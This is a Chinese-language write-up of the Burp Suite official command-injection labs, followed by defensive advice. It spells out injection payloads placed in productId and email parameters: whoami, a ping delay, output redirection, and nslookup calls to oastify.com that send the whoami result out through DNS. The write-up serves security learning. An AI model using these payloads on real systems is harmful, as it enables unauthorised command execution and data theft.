burpsuite官方靶场之命令注入
字数 1511 2025-08-19 12:40:45

Burp Suite官方靶场之命令注入攻击技术详解

1. 命令注入基础概念

命令注入是一种安全漏洞,攻击者能够在应用程序中注入并执行非预期的系统命令。这种漏洞通常发生在应用程序将用户输入直接传递给系统shell执行时。

2. 简单命令注入攻击

2.1 攻击目标

成功执行whoami命令查看当前用户身份

2.2 攻击步骤

  1. 访问商品展示页面,查看商品详情
  2. 在库存检查功能处进行抓包
  3. 发现传递productIdstoreId参数
  4. productId参数注入payload:%26whoami%26

2.3 技术要点

  • %26&符号的URL编码
  • 在HTTP数据包中,&是参数分隔符,需要编码避免被解析
  • 在系统命令中,&用于连接多个命令,使它们依次执行

3. 基于时间延迟的命令盲注

3.1 攻击目标

利用命令注入造成10秒的延迟

3.2 攻击场景

  • 目标:Submit feedback页面(用户反馈功能)
  • 原理:可能使用sendmail命令发送反馈邮件

3.3 攻击步骤

  1. 抓取提交反馈的数据包
  2. email参数插入payload:%26ping -c10 127.0.0.1%26
  3. 观察响应时间延迟

4. 利用输出重定向的命令盲注

4.1 攻击目标

  1. 执行whoami命令
  2. 将结果输出到可写目录/var/www/images
  3. 检索输出内容

4.2 攻击步骤

  1. 在反馈页面提交反馈时抓包
  2. email参数插入输出重定向payload
  3. 观察网站图片加载路径(filename参数)
  4. 访问包含命令输出的文件

5. 带外通道技术(OOB)命令盲注

5.1 攻击目标

利用命令注入对Burp Collaborator发起DNS查询

5.2 攻击步骤

  1. 激活Burp Suite的Collaborator功能
  2. 在反馈页面提交任意测试数据并抓包
  3. email参数插入payload:%26nslookup%200no5vo9uebzjpzworih5vhzzyq4hs7gw.oastify.com%26
  4. 在Collaborator界面检查DNS查询记录

5.3 技术要点

  • Collaborator功能类似于DNSLOG
  • 用于检测无回显的漏洞
  • 通过外带通道使隐藏漏洞显现

6. 利用OOB获取系统用户名

6.1 攻击目标

通过带外通道技术获取系统用户名

6.2 攻击步骤

  1. 在反馈页面提交测试数据并抓包
  2. email参数插入payload:%26nslookup%20whoami.wrr1zkdqi73ftv0kvel1zd3v2m8dw4kt.oastify.com%26
  3. 在Collaborator中检查DNS查询记录,解析用户名

6.3 技术要点

  • 反引号(`)中的内容会被作为命令执行
  • 命令执行结果会被插入到DNS查询中
  • 通过DNS查询记录可以获取命令执行结果

7. 防御措施

  1. 输入验证:严格验证用户输入,使用白名单机制
  2. 参数化调用:避免直接拼接命令,使用API替代系统命令
  3. 最小权限原则:运行应用程序的账户应具有最小必要权限
  4. 编码输出:对必须使用系统命令的情况,应对参数进行适当编码
  5. 使用安全函数:如Python的subprocess.run()而非os.system()

8. 总结

命令注入是一种高危漏洞,攻击者可以通过多种技术实现攻击,包括:

  • 直接命令执行
  • 基于时间的盲注
  • 输出重定向
  • 带外通道技术

防御关键在于不信任任何用户输入,并采用安全的编程实践。Burp Suite的Collaborator工具为检测无回显漏洞提供了有效手段。

Burp Suite官方靶场之命令注入攻击技术详解 1. 命令注入基础概念 命令注入是一种安全漏洞,攻击者能够在应用程序中注入并执行非预期的系统命令。这种漏洞通常发生在应用程序将用户输入直接传递给系统shell执行时。 2. 简单命令注入攻击 2.1 攻击目标 成功执行 whoami 命令查看当前用户身份 2.2 攻击步骤 访问商品展示页面,查看商品详情 在库存检查功能处进行抓包 发现传递 productId 和 storeId 参数 对 productId 参数注入payload: %26whoami%26 2.3 技术要点 %26 是 & 符号的URL编码 在HTTP数据包中, & 是参数分隔符,需要编码避免被解析 在系统命令中, & 用于连接多个命令,使它们依次执行 3. 基于时间延迟的命令盲注 3.1 攻击目标 利用命令注入造成10秒的延迟 3.2 攻击场景 目标:Submit feedback页面(用户反馈功能) 原理:可能使用 sendmail 命令发送反馈邮件 3.3 攻击步骤 抓取提交反馈的数据包 在 email 参数插入payload: %26ping -c10 127.0.0.1%26 观察响应时间延迟 4. 利用输出重定向的命令盲注 4.1 攻击目标 执行 whoami 命令 将结果输出到可写目录 /var/www/images 检索输出内容 4.2 攻击步骤 在反馈页面提交反馈时抓包 在 email 参数插入输出重定向payload 观察网站图片加载路径( filename 参数) 访问包含命令输出的文件 5. 带外通道技术(OOB)命令盲注 5.1 攻击目标 利用命令注入对Burp Collaborator发起DNS查询 5.2 攻击步骤 激活Burp Suite的Collaborator功能 在反馈页面提交任意测试数据并抓包 在 email 参数插入payload: %26nslookup%200no5vo9uebzjpzworih5vhzzyq4hs7gw.oastify.com%26 在Collaborator界面检查DNS查询记录 5.3 技术要点 Collaborator功能类似于DNSLOG 用于检测无回显的漏洞 通过外带通道使隐藏漏洞显现 6. 利用OOB获取系统用户名 6.1 攻击目标 通过带外通道技术获取系统用户名 6.2 攻击步骤 在反馈页面提交测试数据并抓包 在 email 参数插入payload: %26nslookup%20 whoami .wrr1zkdqi73ftv0kvel1zd3v2m8dw4kt.oastify.com%26 在Collaborator中检查DNS查询记录,解析用户名 6.3 技术要点 反引号( ` )中的内容会被作为命令执行 命令执行结果会被插入到DNS查询中 通过DNS查询记录可以获取命令执行结果 7. 防御措施 输入验证 :严格验证用户输入,使用白名单机制 参数化调用 :避免直接拼接命令,使用API替代系统命令 最小权限原则 :运行应用程序的账户应具有最小必要权限 编码输出 :对必须使用系统命令的情况,应对参数进行适当编码 使用安全函数 :如Python的 subprocess.run() 而非 os.system() 8. 总结 命令注入是一种高危漏洞,攻击者可以通过多种技术实现攻击,包括: 直接命令执行 基于时间的盲注 输出重定向 带外通道技术 防御关键在于不信任任何用户输入,并采用安全的编程实践。Burp Suite的Collaborator工具为检测无回显漏洞提供了有效手段。